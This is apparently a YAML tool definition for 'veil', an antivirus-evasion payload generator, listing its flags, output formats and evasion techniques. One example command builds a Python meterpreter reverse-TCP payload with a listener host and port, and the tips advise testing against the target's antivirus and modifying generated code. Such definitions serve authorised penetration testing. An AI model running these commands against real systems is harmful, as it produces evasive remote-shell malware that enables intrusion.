name: veil
category: exploit
description: Payload generator for AV evasion.
keywords:
  - payload
  - evasion
  - antivirus
  - bypass
  - shellcode

parameters:
  list:
    type: boolean
    flag: "--list-payloads"
    description: List payloads

  tool:
    type: enum
    flag: "-t"
    options:
      - value: "Evasion"
        description: "AV evasion payloads"
      - value: "Ordnance"
        description: "Shellcode generator"
    description: Tool to use

  payload:
    type: string
    flag: "-p"
    description: Payload to use

  output:
    type: string
    flag: "-o"
    description: Output file

  ip:
    type: string
    flag: "--ip"
    description: LHOST for payload

  port:
    type: integer
    flag: "--port"
    description: LPORT for payload

requires_root: false
timeout: 120

examples:
  - "veil --list-payloads"
  - "veil -t Evasion -p python/meterpreter/rev_tcp --ip 192.168.1.1 --port 4444 -o payload"
  - "veil -t Ordnance --list-payloads"

notes: |
  Evasion techniques:
  - Encryption
  - Obfuscation
  - Code injection
  - Multiple languages

  Languages:
  - Python
  - PowerShell
  - C
  - C#
  - Go
  - Ruby

  Output formats:
  - exe
  - dll
  - py/ps1 scripts

  Tips:
  - Test against target AV
  - Combine techniques
  - Modify generated code
